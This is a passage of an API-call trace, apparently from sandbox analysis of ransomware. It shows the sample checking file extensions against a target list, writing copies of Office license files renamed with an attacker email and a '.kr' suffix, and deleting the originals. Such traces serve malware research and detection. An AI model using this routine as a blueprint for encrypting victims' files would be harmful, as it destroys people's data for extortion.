(lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80 [0210.056] lstrlenW (lpString=".1cd") returned 4 [0210.056] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80 [0210.056] lstrlenW (lpString=".jpg") returned 4 [0210.056] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80 [0210.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80 [0210.056] lstrlenW (lpString=".doc") returned 4 [0210.056] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.056] lstrlenW (lpString=".docx") returned 5 [0210.056] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.056] lstrlenW (lpString=".pdf") returned 4 [0210.056] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.056] lstrlenW (lpString=".xls") returned 4 [0210.056] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.057] lstrlenW (lpString=".xlsx") returned 5 [0210.057] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.057] lstrlenW (lpString=".ppt") returned 4 [0210.057] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80 [0210.057] lstrlenW (lpString=".zip") returned 4 [0210.057] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.057] lstrlenW (lpString=".rar") returned 4 [0210.057] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.057] lstrlenW (lpString=".bz2") returned 4 [0210.057] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.057] lstrlenW (lpString=".7z") returned 3 [0210.057] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80 [0210.057] lstrlenW (lpString=".dbf") returned 4 [0210.057] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80 [0210.057] lstrlenW (lpString=".1cd") returned 4 [0210.057] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_KMS_Client-ul.xrm-ms") returned 80 [0210.057] lstrlenW (lpString=".jpg") returned 4 [0210.057] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.057] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0210.057] lstrlenW (lpString="OneNoteVL_MAK-ppd.xrm-ms") returned 24 [0210.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0210.058] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=6798) returned 1 [0210.058] CloseHandle (hObject=0x3ec) returned 1 [0210.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ppd.xrm-ms")) returned 0x220 [0210.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0210.059] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.059] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0210.060] GetLastError () returned 0x0 [0210.060] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x1a8e, lpOverlapped=0x0) returned 1 [0210.063] WriteFile (in: hFile=0x3c4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x1a90, lpOverlapped=0x0) returned 1 [0210.064] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.064] WriteFile (in: hFile=0x3c4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x104, lpOverlapped=0x0) returned 1 [0210.064] SetEndOfFile (hFile=0x3c4) returned 1 [0210.064] CloseHandle (hObject=0x3c4) returned 1 [0210.064] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.064] SetEndOfFile (hFile=0x3ec) returned 1 [0210.067] CloseHandle (hObject=0x3ec) returned 1 [0210.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ppd.xrm-ms")) returned 1 [0210.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74 [0210.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74 [0210.068] lstrlenW (lpString=".doc") returned 4 [0210.068] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.068] lstrlenW (lpString=".docx") returned 5 [0210.068] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.069] lstrlenW (lpString=".pdf") returned 4 [0210.069] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.069] lstrlenW (lpString=".xls") returned 4 [0210.069] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.069] lstrlenW (lpString=".xlsx") returned 5 [0210.069] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.069] lstrlenW (lpString=".ppt") returned 4 [0210.069] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74 [0210.069] lstrlenW (lpString=".zip") returned 4 [0210.069] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.069] lstrlenW (lpString=".rar") returned 4 [0210.069] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.069] lstrlenW (lpString=".bz2") returned 4 [0210.069] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.069] lstrlenW (lpString=".7z") returned 3 [0210.069] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74 [0210.069] lstrlenW (lpString=".dbf") returned 4 [0210.069] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74 [0210.069] lstrlenW (lpString=".1cd") returned 4 [0210.069] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74 [0210.069] lstrlenW (lpString=".jpg") returned 4 [0210.069] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74 [0210.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74 [0210.069] lstrlenW (lpString=".doc") returned 4 [0210.069] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.069] lstrlenW (lpString=".docx") returned 5 [0210.069] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.069] lstrlenW (lpString=".pdf") returned 4 [0210.070] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.070] lstrlenW (lpString=".xls") returned 4 [0210.070] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.070] lstrlenW (lpString=".xlsx") returned 5 [0210.070] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.070] lstrlenW (lpString=".ppt") returned 4 [0210.070] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74 [0210.070] lstrlenW (lpString=".zip") returned 4 [0210.070] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.070] lstrlenW (lpString=".rar") returned 4 [0210.070] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.070] lstrlenW (lpString=".bz2") returned 4 [0210.070] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.070] lstrlenW (lpString=".7z") returned 3 [0210.070] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74 [0210.070] lstrlenW (lpString=".dbf") returned 4 [0210.070] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74 [0210.070] lstrlenW (lpString=".1cd") returned 4 [0210.070] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ppd.xrm-ms") returned 74 [0210.070] lstrlenW (lpString=".jpg") returned 4 [0210.070] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.070] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0210.070] lstrlenW (lpString="OneNoteVL_MAK-ul-oob.xrm-ms") returned 27 [0210.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0210.071] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11586) returned 1 [0210.071] CloseHandle (hObject=0x3ec) returned 1 [0210.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-oob.xrm-ms")) returned 0x220 [0210.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0210.072] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.072] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0210.072] GetLastError () returned 0x0 [0210.073] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d42, lpOverlapped=0x0) returned 1 [0210.307] WriteFile (in: hFile=0x3c4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0210.308] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.308] WriteFile (in: hFile=0x3c4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x10a, lpOverlapped=0x0) returned 1 [0210.308] SetEndOfFile (hFile=0x3c4) returned 1 [0210.309] CloseHandle (hObject=0x3c4) returned 1 [0210.309] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.309] SetEndOfFile (hFile=0x3ec) returned 1 [0210.311] CloseHandle (hObject=0x3ec) returned 1 [0210.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotevl_mak-ul-oob.xrm-ms")) returned 1 [0210.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77 [0210.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77 [0210.570] lstrlenW (lpString=".doc") returned 4 [0210.570] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.570] lstrlenW (lpString=".docx") returned 5 [0210.570] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.570] lstrlenW (lpString=".pdf") returned 4 [0210.570] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.570] lstrlenW (lpString=".xls") returned 4 [0210.570] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.570] lstrlenW (lpString=".xlsx") returned 5 [0210.570] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.570] lstrlenW (lpString=".ppt") returned 4 [0210.570] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77 [0210.570] lstrlenW (lpString=".zip") returned 4 [0210.570] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.570] lstrlenW (lpString=".rar") returned 4 [0210.570] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.570] lstrlenW (lpString=".bz2") returned 4 [0210.570] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.570] lstrlenW (lpString=".7z") returned 3 [0210.570] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77 [0210.571] lstrlenW (lpString=".dbf") returned 4 [0210.571] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77 [0210.571] lstrlenW (lpString=".1cd") returned 4 [0210.571] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77 [0210.571] lstrlenW (lpString=".jpg") returned 4 [0210.571] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77 [0210.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77 [0210.571] lstrlenW (lpString=".doc") returned 4 [0210.571] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0210.571] lstrlenW (lpString=".docx") returned 5 [0210.571] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0210.571] lstrlenW (lpString=".pdf") returned 4 [0210.571] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0210.571] lstrlenW (lpString=".xls") returned 4 [0210.571] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0210.571] lstrlenW (lpString=".xlsx") returned 5 [0210.571] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0210.571] lstrlenW (lpString=".ppt") returned 4 [0210.571] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0210.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77 [0210.571] lstrlenW (lpString=".zip") returned 4 [0210.571] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0210.571] lstrlenW (lpString=".rar") returned 4 [0210.571] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0210.571] lstrlenW (lpString=".bz2") returned 4 [0210.571] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0210.571] lstrlenW (lpString=".7z") returned 3 [0210.571] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0210.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77 [0210.572] lstrlenW (lpString=".dbf") returned 4 [0210.572] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0210.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77 [0210.572] lstrlenW (lpString=".1cd") returned 4 [0210.572] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0210.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteVL_MAK-ul-oob.xrm-ms") returned 77 [0210.572] lstrlenW (lpString=".jpg") returned 4 [0210.572] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0210.572] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0210.572] lstrlenW (lpString="OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 31 [0210.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0210.620] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=19937) returned 1 [0210.620] CloseHandle (hObject=0x3f8) returned 1 [0210.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0210.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0210.922] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.953] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0210.954] GetLastError () returned 0x0 [0210.954] ReadFile (in: hFile=0x450, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x4de1, lpOverlapped=0x0) returned 1 [0211.016] WriteFile (in: hFile=0x53c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x4df0, lpOverlapped=0x0) returned 1 [0211.017] ReadFile (in: hFile=0x450, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.017] WriteFile (in: hFile=0x53c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x112, lpOverlapped=0x0) returned 1 [0211.017] SetEndOfFile (hFile=0x53c) returned 1 [0211.039] CloseHandle (hObject=0x53c) returned 1 [0211.041] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.041] SetEndOfFile (hFile=0x450) returned 1 [0211.057] CloseHandle (hObject=0x450) returned 1 [0211.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_oem_perp-ul-phn.xrm-ms")) returned 1 [0211.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0211.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0211.073] lstrlenW (lpString=".doc") returned 4 [0211.073] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.073] lstrlenW (lpString=".docx") returned 5 [0211.073] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.073] lstrlenW (lpString=".pdf") returned 4 [0211.073] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.073] lstrlenW (lpString=".xls") returned 4 [0211.073] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.073] lstrlenW (lpString=".xlsx") returned 5 [0211.073] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.073] lstrlenW (lpString=".ppt") returned 4 [0211.073] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0211.073] lstrlenW (lpString=".zip") returned 4 [0211.073] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.073] lstrlenW (lpString=".rar") returned 4 [0211.073] lstrcmpiW 